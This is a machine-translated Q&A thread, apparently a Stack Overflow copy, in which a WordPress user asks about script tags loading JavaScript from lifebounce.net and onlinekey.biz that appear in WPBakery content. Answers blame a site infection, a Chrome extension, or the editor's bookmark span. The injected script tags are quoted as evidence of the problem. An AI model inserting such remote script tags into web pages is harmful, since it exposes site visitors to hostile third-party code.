如何摆脱自动添加到我的内容中的这段奇怪的代码?

时间:2019-10-19 17:08:57

标签: wordpress malware

我有这个奇怪的问题。

在我的WordPress网站上,当我使用WpBakery添加一些内容时 我在以下位置添加了此代码:

<p><script src="//lifebounce.net/1f9f5ee62aefca3cb1.js" async="" type="text/javascript"></script><script src="https://onlinekey.biz/optout/set/lat?jsonp=__mtz_cb_550940944&amp;key=1f9f5ee62aefca3cb1&amp;cv=1571504038&amp;t=1571504040362" type="text/javascript"></script><script src="https://onlinekey.biz/optout/set/lt?jsonp=__mtz_cb_742169584&amp;key=1f9f5ee62aefca3cb1&amp;cv=1189237&amp;t=1571504040362" type="text/javascript"></script></p>
<p>&nbsp;</p>
<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span>

Screen Shot

它将自身添加到wpBakery编辑器内部的每个内容块中。

我在其他WordPress网站上遇到了相同的问题,而且它们不在同一主机上。

我在Google上找不到任何答案。这是新东西吗?

谢谢您的帮助! 克里斯

6 个答案:

答案 0 :(得分:0)

您的网站很可能已被感染。 随着这两个站点的发生,这种感染可能以多种方式发生。

第一个选项

提示尝试在本地计算机上安装新版本的wordpress,安装所有使用的插件和主题,然后查看是否发生。 如果这没有发生,则说明您的网站实际上已被感染。

第二个选项

卸载不必要的插件,直到找到引起它的插件。但是如果感染已在多个位置发生,您可能将无法检测到。 一次停用一个插件,然后尝试再次保存而不使用代码,看看是否发生了。 一次执行一个插件,直到代码停止注入自身。 如果这没有发生,则说明您的网站已被其他文件感染。

第三个也是最后一个解决方案

如果第二个选项不起作用,并且第一个选项都正常,则最好的选择是从联机服务器中删除所有内容,然后重新安装wordpress和插件并安装一个安全性好的插件。 如果可能,请禁用服务器上的文件更改。这样,即使插件存在一些缺陷,也无法编辑任何wordpress文件。

答案 1 :(得分:0)

我遇到了同样的问题,我发现它只是Chrome,我尝试关闭扩展功能,并且是“ WhatsGreen Multi Messenger”

答案 2 :(得分:0)

上述自动插入内容不是恶意软件或某些恶意脚本或插件的感染。

当在文本模式下输入自己的<script></script>标签时,WordPress编辑器进行的此自动插入操作也遇到了同样的问题。我得到的自动插入内容是:

<span style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" data-mce-type="bookmark" class="mce_SELRES_start"></span>

我进行了Google搜索并找到了答案,

...此自动插入问题到WordPress编辑器中,并且可能会影响WP Bakery,因为使用WP Bakery代替了WordPress编辑器。

首先,参考:https://core.trac.wordpress.org/ticket/44275 在参考页面中,转到WordPress核心编辑器的条目:“ @ azaozz”(最后一个条目。他在第一段中所说的内容可以回答问题。)

这是在经典编辑器中切换Visual-> Text或Text-> Visual时为了保持光标位置而插入的“书签”。 -@azaozz

我测试了他的话,他是正确的。每次我将光标放在脚本标签之间时,都会自动插入。当我将光标作为P标记或DIV标记或其他不是脚本的常规HTML源代码放置在旁边时,没有自动插入。

根据我的发现,就像@azaozz所说的那样,这是一个极端的情况,我认为这不是一个极端的情况。 WordPress制作的书签(自动插入)功能与普通用户在WordPress中可以使用的常见HTML标签无关,而与HTML脚本标签无关。

使用WPBakery测试

我使用WPBakery进行了测试。我插入了一个文本框模块,该模块带有模糊的文本。我切换到“文本”查看模式,并按如下所示插入嵌入在DIV标签中的虚拟脚本;

<div><script>function FAKE(){document.getElementById("NONE").checked = true;}</script></div>

当我将光标放在脚本标记之间的某个位置时,如上所述,发生了自动插入。

删除自动插入,然后将光标留在关闭DIV标签的结尾并切换视图模式,自动插入没有发生。

如何修复

此问题的解决方法是仅知道处于“文本”模式时光标停留在什么位置,并确保光标不在任何脚本标记之间。这是一件令人讨厌的事情,但是此问题是由WordPress设计的书签功能创建的。

答案 3 :(得分:0)

我只想添加:

我发现它出现在一个新的Bitnami WordPress实例上,因此我仍然完全清除了数据库。然后我删除了所有的WordPress文件,仍然存在。因此,然后我在AWS Console上终止了该实例,创建了一个全新的Bitnami WordPress实例,正当其时,脚本仍然存在:

尽管如此,它似乎最初是在使用经典编辑器而不是古腾堡时出现的-尤其是在页面或后期编辑器上从“可视”切换为“文本”时。

答案 4 :(得分:0)

我想向其他也经历过这种情况的人说清楚。

  1. 进入添加帖子/页面/产品/等 2)点击文字 3)删除所有片段/代码/等 4)添加您的内容/单词/等 5)点击发布/更新帖子/页面/等 6) 视觉更新 7) 更新帖子/页面/等

希望这有帮助,它对我有帮助,我进行了升级和删除插件。

至于删除所有内容并重新开始,它仍然会发生,直到 wordpress 进行站点范围的升级以通过他们自己的媒介将其删除。

答案 5 :(得分:0)

我在 wpbakery 中发现了这个问题。页面编辑模式下出现空白文本框。